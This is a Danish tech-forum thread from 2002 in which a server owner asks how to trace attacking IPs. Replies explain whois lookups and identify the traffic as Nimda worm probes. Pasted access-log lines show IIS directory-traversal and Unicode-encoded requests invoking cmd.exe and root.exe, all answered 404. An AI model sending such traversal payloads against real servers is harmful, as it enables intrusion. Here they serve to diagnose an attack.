Søg
Avatar billede oersted-pedersen Nybegynder
28. december 2002 - 12:50 Der er 13 kommentarer og
1 løsning

Spore IP ?

Min http server bliver i øjeblikket angrebet tem'lig meget af IP'er der meget ligner TDCs...
Hvor kan jeg spore disse IP'er tilbage til ejermændende, hvis det er faste IP'er ?
Avatar billede Slettet bruger
28. december 2002 - 12:52 #1
det er oplysninger som udbydere af internet forbindelser ligger inde med. jeg mener at de er hemmelige, og kun kan udleveres ved politi anmeldelse.

mvh.
Questis
Avatar billede Slettet bruger
28. december 2002 - 12:52 #2
Du kan ikke som privatperson spore ejeren af en IP-adresse. Du kan dog lave et opslag på adressen http://www.ripe.net/perl/whois, og se hvilken udbyder, IP-adressen tilhører.
Avatar billede Slettet bruger
28. december 2002 - 12:55 #3
skulle vel egentligt være et svar.
Avatar billede hobbez Nybegynder
28. december 2002 - 13:05 #4
Check nu lige om det ER et angreb eller om det bare er en server der forsøger at finde ud af, om du stadig er 'i live'.

Det KUNNE jo være at det bare var TDC's DNS-servere eller lign.

Prøv at poste IP'en her, før du går i panik!

/Rob
Avatar billede oersted-pedersen Nybegynder
28. december 2002 - 13:54 #5
OK.. tak for linket magik... lige hvad jeg havde brug for.
hobbez tag lige et kig på det her.. Det anser jeg ikke som et alm. besøg på min hjemmeside. HVa' siger du !?

80.199.161.101 - - [28/Dec/2002:12:14:37 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 0 0 "-" "-"
80.199.161.101 - - [28/Dec/2002:12:14:40 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 0 0 "-" "-"
80.199.161.101 - - [28/Dec/2002:12:14:44 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 0 "-" "-"
80.199.161.101 - - [28/Dec/2002:12:14:47 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 0 "-" "-"
80.199.161.101 - - [28/Dec/2002:12:14:51 +0100] "GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 0 "-" "-"
80.199.161.101 - - [28/Dec/2002:12:14:55 +0100] "GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 0 "-" "-"
80.199.161.101 - - [28/Dec/2002:12:14:58 +0100] "GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 0 "-" "-"
80.199.161.101 - - [28/Dec/2002:12:15:02 +0100] "GET /msadc/..%5c../..%5c../..%5c/..Á../..Á../..Á../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 0 "-" "-"
80.199.161.101 - - [28/Dec/2002:12:15:08 +0100] "GET /scripts/..Á../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 0 "-" "-"
80.199.161.101 - - [28/Dec/2002:12:15:12 +0100] "GET /scripts/..À/../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 0 "-" "-"
80.199.161.101 - - [28/Dec/2002:12:15:15 +0100] "GET /scripts/..À¯../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 0 "-" "-"
80.199.161.101 - - [28/Dec/2002:12:15:19 +0100] "GET /scripts/..Áœ../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 0 "-" "-"
80.199.161.101 - - [28/Dec/2002:12:15:23 +0100] "GET /scripts/..S5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 0 "-" "-"
80.199.161.101 - - [28/Dec/2002:12:15:26 +0100] "GET /scripts/..S5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 0 "-" "-"
80.199.161.101 - - [28/Dec/2002:12:15:30 +0100] "GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 0 "-" "-"
80.199.161.101 - - [28/Dec/2002:12:15:33 +0100] "GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 0 "
Avatar billede jelzin101 Praktikant
28. december 2002 - 14:53 #6
michaelp>> der er en maskine inficeret med nimbda vira der prøver at få fat i dig - det bedste du kan gøre er at kontakte vedkommendes udbyder hvorefter denne så vil fortælle ham/hende at maskinen er inficeret med virus.
Avatar billede oersted-pedersen Nybegynder
28. december 2002 - 15:01 #7
OK.. kan du se det udfra den smøre !?
Har flere IP der kommer fra TDC der gør det her dagligt...
Avatar billede jelzin101 Praktikant
28. december 2002 - 15:06 #8
jeps - det er nimbda eller en variant af nimbda - kan man se på at den requester root.exe og cmd.exe, og der er mange der har en iis server stående der ikke har patchet den så den er sikker - får også selv et par req's dagligt :)
Avatar billede oersted-pedersen Nybegynder
28. december 2002 - 15:13 #9
OK.. hvad er root.exe og cmd.exe som den forsøger sig på ?
Avatar billede jelzin101 Praktikant
28. december 2002 - 15:22 #10
http://www.iisfaq.com/default.asp?View=A374&P=1

cmd.exe kan du selv prøve ved at gå ned i start>>kør og så skrive cmd :)
Avatar billede oersted-pedersen Nybegynder
28. december 2002 - 15:47 #11
OK jeg takker alle for hjælpen.. måske du kan lige kan hjælpe mig med den her jelzin101:
http://www.eksperten.dk/spm/298849
Avatar billede langbein Nybegynder
06. januar 2003 - 01:50 #12
http://www.ripe.net/perl/whois?form_type=simple&full_query_string=&searchtext=80.199.161.101+&do_search=Search
Avatar billede langbein Nybegynder
06. januar 2003 - 01:52 #13
http://remote.12dt.com/rns/
Avatar billede langbein Nybegynder
06. januar 2003 - 01:55 #14
Tele danmark sin dns server ...
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview
Kategori
Se alle it-kurser fra Computerworld Kurser
IT-kurser om Microsoft 365, sikkerhed, personlig vækst, udvikling, digital markedsføring, grafisk design, SAP og forretningsanalyse.
Se alle it-kurser

Flere spørgsmål fra Andet sikkerhed kategorien

Titel Indlæg Oprettet Seneste aktivitet
Bitdefender brokker sig Af FinnRasmussen i Andet sikkerhed 2 07/09/202616:09 08/09/202622:23
Er det svindel eller fra Microsoft Af mort1 i Andet sikkerhed 5 16/08/202612:21 21/08/202610:39
To mails fra YouSee - Jeg tror ikke altid på tilfældigheder Af mort1 i Andet sikkerhed 10 30/07/202614:41 04/08/202610:21
Ukendt sender e-mails fra - og til min e-mail adresse Af mort1 i Andet sikkerhed 7 25/07/202613:55 05/08/202617:20
hvilken afløser kan I anbefale? Af jcr18 i Andet sikkerhed 6 17/03/202610:32 23/05/202609:24
Se alle spørgsmål i kategorien Opret spørgsmål

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Opret Log ind

Du kan også logge ind via nedenstående tjenester

Alle kategorier på Eksperten
Seneste spørgsmål Seneste aktivitet
I går 08:39 Produktnøgle Af hkv i Office & Kontorpakker
13/1116:59 Bitlocker Af nico i Windows
12/1116:30 Wlan i windows 11 home Af dcedata1977 i Windows
11/1121:19 Irriterende ikon på proceslinjen Af ErikHg i Windows
11/1116:33 Kan man slippe af med "msn" ? Af Ikke-ekspert i Windows
White papers
Flere white papers »